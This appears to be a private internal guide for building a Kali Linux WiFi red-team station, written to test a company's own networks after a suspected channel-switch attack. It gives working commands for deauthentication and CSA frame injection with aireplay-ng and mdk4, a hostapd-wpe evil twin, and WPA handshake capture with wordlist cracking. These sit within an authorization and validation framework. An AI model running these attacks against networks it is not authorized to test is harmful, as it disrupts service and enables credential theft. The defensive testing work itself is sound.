◀ Back to Systems & Toolkit Private -- Not For Distribution

Mobile Station -- Red Team

Penetration testing and network hardening build -- active testing, vulnerability assessment, security validation

Build guide for the offensive security station. Use this to validate mitigations by testing your own network with the same attack vectors the adversary is using.

Active Testing -- Your Network Only

This station transmits frames. Unlike the blue team station, the red team station actively generates deauth, CSA, and other attack frames to test your defenses. Only use this against networks you own and are authorized to test.

Adapter Status

The ALFA AWUS036AXML (with full packet injection) arrives tomorrow. This guide is ready for when it arrives. The current AWUS036AXM has a known injection bug and should not be used for red team operations.

1 Hardware Inventory ▶

Component	Model / Specs	Notes
Laptop	Acer Nitro ANV16-72	Intel Core 9 270H, 14 cores / 20 threads, 64-bit
Internal WiFi	Killer Wi-Fi 6 AX1650i 160MHz	Intel AX201 rebrand, MAC: A0:B3:39:3A:38:AB -- used for internet via phone hotspot
External Adapter	ALFA AWUS036AXML	mt7921au chipset, WiFi 6E, dual external antennas, USB 3.0 -- FULL monitor mode + packet injection, no bugs. Arrives tomorrow.
Boot Drive	SSK 256GB USB-C SSD	550 MB/s, USB 3.2 Gen2 -- Kali Live with persistence
Extension Cable	USB 3.0, 6ft	Position adapter away from laptop for better signal / reduced noise
Operating System	Kali Linux 2025.4 Live	Persistence partition on SSD (~100GB)

AXML vs AXM -- Key Differences

Antennas: AXML has dual external antennas (directional capability) vs AXM's internal antenna
Injection: AXML has full, working packet injection -- the AXM has a known injection bug
Chipset: Both use mt7921au -- same kernel driver, same airmon-ng workflow
Monitor mode: Both support monitor mode identically
The AXML is the red team adapter because injection is required for active testing

2 Build Assembly ▶

Same laptop and SSD setup as the blue team station. The key difference is the adapter.

Boot Drive: SSK 256GB USB-C SSD into USB-C port. Same Kali installation works for both blue and red team operations.
ALFA AXML Adapter: Connect via USB 3.0 extension cable to a USB-A port.
Dual Antenna Positioning: The AXML's external antennas are directional. Point them toward the target AP for testing. Spread the antennas into a V-shape for wider coverage, or parallel for focused signal in one direction.
Power: AC power required. Active transmission draws more power than passive monitoring.

Shared Platform

The blue and red team stations use the same laptop and SSD. The only hardware difference is the adapter (AXM for blue/passive, AXML for red/active). Swap the adapter to switch roles.

3 Adapter Setup ▶

The AXML uses the same mt7921au driver as the AXM -- it's in-kernel on Kali 2025.4, no additional driver installation needed.

Verify Adapter

# Confirm USB detection
$ lsusb | grep -i mediatek
Bus 00x Device 00x: ID 0e8d:7961 MediaTek Inc. Wireless_Device

# Check interface
$ iw dev
$ iwconfig

Enable Monitor Mode

$ sudo airmon-ng check kill
$ sudo airmon-ng start wlan1
$ iwconfig

Verify Injection Capability

# Test injection -- should show "Injection is working!"
$ sudo aireplay-ng --test wlan1mon

Full Injection

Unlike the AXM (blue team adapter), the AXML supports full packet injection. The aireplay-ng --test command should confirm injection is working. If it doesn't, check that monitor mode is active and no NetworkManager processes are interfering.

4 Penetration Testing Tools ▶

Reconnaissance

airodump-ng

Passive scan of all nearby APs and clients. Shows BSSID, channel, encryption, signal strength, connected stations.

wash

WPS detection. Identifies APs with WPS enabled -- a common attack surface.

kismet

Comprehensive wireless IDS. Detects rogue APs, unusual traffic patterns, hidden networks.

# Passive scan -- all channels
$ sudo airodump-ng wlan1mon

# Scan specific channel
$ sudo airodump-ng wlan1mon -c 149

# WPS scan
$ sudo wash -i wlan1mon

# Launch kismet
$ sudo kismet -c wlan1mon

Deauthentication Testing

aireplay-ng --deauth

Send deauth frames to test PMF protection. With PMF Required, these should be rejected by clients.

mdk4 d mode

Mass deauthentication testing. Tests deauth resilience across all connected clients simultaneously.

# Targeted deauth test (10 frames to specific client)
$ sudo aireplay-ng --deauth 10 -a TARGET_BSSID -c CLIENT_MAC wlan1mon

# Broadcast deauth test (10 frames to all clients)
$ sudo aireplay-ng --deauth 10 -a TARGET_BSSID wlan1mon

# mdk4 deauth mode
$ sudo mdk4 wlan1mon d -c 149

CSA Testing

mdk4 (CSA mode)

Generate Channel Switch Announcement frames. This is the suspected attack vector in the incident. Tests whether clients honor spoofed CSA.

# CSA attack -- force clients to switch channels
$ sudo mdk4 wlan1mon d -c 149 -s 200

# Targeted CSA with specific channel switch target
$ sudo mdk4 wlan1mon d -B TARGET_BSSID -c 149

Evil Twin Testing

hostapd-wpe

Create a rogue AP mimicking your SSID. Tests whether clients connect to fake APs.

eaphammer

Automated evil twin with credential capture. Tests WPA-Enterprise and captive portal attacks.

# Basic evil twin with hostapd-wpe
# Edit /etc/hostapd-wpe/hostapd-wpe.conf first:
#   interface=wlan1mon
#   ssid=CTS-A
#   channel=149
$ sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

WPA Testing

aircrack-ng suite

Capture WPA handshake and test password strength. Verify the network password is not easily crackable.

# Capture WPA handshake
$ sudo airodump-ng wlan1mon -c 149 --bssid TARGET_BSSID -w /tmp/handshake

# Force handshake by deauthing a client (in another terminal)
$ sudo aireplay-ng --deauth 5 -a TARGET_BSSID -c CLIENT_MAC wlan1mon

# Test password against wordlist
$ sudo aircrack-ng /tmp/handshake-01.cap -w /usr/share/wordlists/rockyou.txt

Signal Analysis

wavemon

Real-time signal monitoring. Shows signal strength, noise, SNR in a terminal UI.

horst

Channel utilization and spectrum analysis. Shows who is using what channels and how busy they are.

# Real-time signal monitor
$ sudo wavemon

# Channel utilization
$ sudo horst -i wlan1mon

5 Testing Methodology ▶

Follow this structured approach for every test. Document everything.

Baseline

Capture normal network state before testing. Record connected clients, signal levels, channel utilization. This is your control -- you need it to measure impact.

Test

Run the specific attack against your own network. Use controlled parameters -- start low (few frames, short duration) and escalate. Record exact commands used.

Verify

Confirm detection and/or prevention works. Check: Did the client disconnect? Did the AP log the attempt? Did PMF block it? Did the WIDS alert?

Document

Log results in structured format: test name, commands used, expected outcome, actual outcome, pass/fail, observations. Update the mitigation guide with findings.

Repeat

Cycle through all attack vectors. Test each mitigation individually and in combination. Regression test after every configuration change.

6 CSA Vulnerability Testing ▶

Suspected Attack Vector

CSA (Channel Switch Announcement) injection is the leading theory for the March 20 attack. The attacker may be spoofing CSA frames to force clients off the channel, causing the disconnections observed in the AP log. This section lets you reproduce and test defenses against this exact attack.

Generate CSA Frames with mdk4

# Basic CSA test -- broadcast on channel 149
$ sudo mdk4 wlan1mon d -c 149

# Targeted CSA against specific BSSID
$ sudo mdk4 wlan1mon d -B TARGET_BSSID -c 149

# High-rate CSA (simulate aggressive attacker)
$ sudo mdk4 wlan1mon d -c 149 -s 500

Verify Client Response

While running the CSA test, monitor clients from the blue team station (or a second terminal):

# On a separate capture interface, watch for client disconnects
$ sudo tshark -i wlan1mon -Y "wlan.tag.number == 37" -T fields -e frame.time -e wlan.sa -e wlan.csa.channel

# Watch airodump-ng for clients disappearing from the AP
$ sudo airodump-ng wlan1mon -c 149 --bssid TARGET_BSSID

Test by Client Type

Client Type	Expected Vulnerability	Test Focus
Windows Desktop	May honor spoofed CSA even with PMF	Does the Windows WiFi stack validate CSA source?
SIP Phone	High -- limited firmware, may not support PMF	Does the phone drop call? Does it reconnect automatically?
IoT Devices	High -- often no PMF support, basic WiFi stack	Does the device switch channels? Does it recover?
macOS / iPhone	Low -- Apple validates CSA with PMF	Confirm rejection of spoofed CSA

PMF Enabled vs Disabled

# Test 1: PMF disabled on AP -- run CSA, observe clients disconnect
# Test 2: PMF optional on AP -- run CSA, observe mixed results
# Test 3: PMF required on AP -- run CSA, clients should ignore

# Document results for each test:
# - How many clients disconnected?
# - How long until reconnection?
# - Did the AP log show the CSA attempt?
# - Did any client permanently fail to reconnect?

Validation Goal

The mitigation guide recommends PMF Required + channel lock + BSSID pinning. Your CSA tests should confirm that with all three mitigations active, no client responds to spoofed CSA frames. If any client still disconnects, that client needs individual attention (firmware update, replacement, or wired connection).

7 Network Hardening Validation ▶

After applying each mitigation from the WiFi Attack Mitigation Guide, test it here.

PMF Required (not Optional)

# Attempt deauth against PMF-required network
$ sudo aireplay-ng --deauth 20 -a TARGET_BSSID wlan1mon

# Expected: clients remain connected, deauth frames rejected
# Check: AP log should show rejected management frames
# PASS = no client disconnects
# FAIL = any client disconnects (investigate that client)

BSSID Pinning

# Create evil twin with same SSID, different BSSID
# Edit hostapd-wpe.conf: ssid=CTS-A, bssid=(different from real AP)
$ sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# Expected: clients with BSSID pinning stay on real AP
# PASS = no client connects to evil twin
# FAIL = client connects to evil twin (configure pinning on that client)

Channel Lock

# Verify AP is NOT set to auto-channel
# Check AP admin interface: channel should be fixed (e.g., 149)
# Send CSA frames suggesting channel switch
$ sudo mdk4 wlan1mon d -c 149

# Expected: AP stays on channel 149, does not auto-select new channel
# PASS = AP remains on configured channel
# FAIL = AP switches channels (disable auto-channel in AP config)

WPA3-Only (Remove WPA2)

# Step 1: Switch AP to WPA3-only (SAE)
# Step 2: Verify all clients can connect
# Step 3: Test for downgrade attack
$ sudo aireplay-ng --deauth 10 -a TARGET_BSSID wlan1mon

# Expected: clients reconnect with WPA3 (not WPA2 fallback)
# PASS = all clients connect with SAE, no WPA2 fallback
# FAIL = client can't connect (needs driver/OS update or remains on WPA2 transition)

8 Reporting ▶

Document every test in a structured format for the investigation record.

Test Report Template

## Test Report
Date: YYYY-MM-DD HH:MM
Operator: Robert Cleaver
Equipment: Acer Nitro ANV16-72 + ALFA AWUS036AXML

### Test: [Name of test]
Target: [BSSID / SSID / Channel]
Mitigation Active: [PMF Required / BSSID Pinning / Channel Lock / etc.]

Command(s) Used:
  [exact commands]

Expected Outcome:
  [what should happen if mitigation works]

Actual Outcome:
  [what actually happened]

Result: PASS / FAIL

Clients Tested:
  - [Device name] -- [connected/disconnected] -- [reconnect time]
  - [Device name] -- [connected/disconnected] -- [reconnect time]

Observations:
  [any additional notes, anomalies, or findings]

Capture Files:
  [list of pcap files with SHA-256 hashes]

Update Investigation Files

After each testing session, update the following:

Mitigation Guide -- mark mitigations as validated/unvalidated based on results
Forensic Analysis -- add attack reproduction findings
Anomalies Tracker -- add any new anomalies discovered during testing

9 Legal & Ethical ▶

Authorization Scope

You are authorized to test only networks owned and operated by CTRS / Firstline Road Solutions. This includes:

CTS-A (5 GHz) -- the SSID involved in the incident
CTS-2G (2.4 GHz) -- the secondary SSID
Any test SSID you create on company-owned equipment

Do NOT test neighboring networks, client networks, or any network you do not own.

Documentation Requirements

All testing is conducted by Robert Cleaver, IT Manager for CTRS, on company-owned infrastructure
Testing is part of an active security incident investigation
All test results are documented and preserved as evidence
Testing is performed during low-traffic hours when possible to minimize disruption
All affected users are notified if testing may cause temporary disconnections

Ethical Guidelines

Minimize impact: Use the lowest number of frames/duration needed to validate
Test off-hours: Conduct disruptive tests (deauth, CSA) outside business hours when possible
Warn users: If testing during business hours, alert dispatchers and staff that brief WiFi interruptions may occur
No credential harvesting: Evil twin tests are for detection validation, not credential capture
Clean up: Remove all rogue APs and test configurations after each session

10 Tool Installation ▶

Install all tools in one command. Most are pre-installed on Kali, but this ensures everything is present and up to date.

$ sudo apt install -y aircrack-ng mdk4 kismet hostapd-wpe wavemon horst wireshark tshark

Verify Installation

$ which airmon-ng aireplay-ng airodump-ng aircrack-ng mdk4 kismet hostapd-wpe wavemon horst wireshark tshark

# Check versions
$ aircrack-ng --version
$ mdk4 --help 2>&1 | head -1
$ kismet --version

Optional: eaphammer

Not in apt -- install from GitHub if needed for enterprise WPA testing:

$ cd /opt
$ sudo git clone https://github.com/s0lst1c3/eaphammer.git
$ cd eaphammer
$ sudo ./kali-setup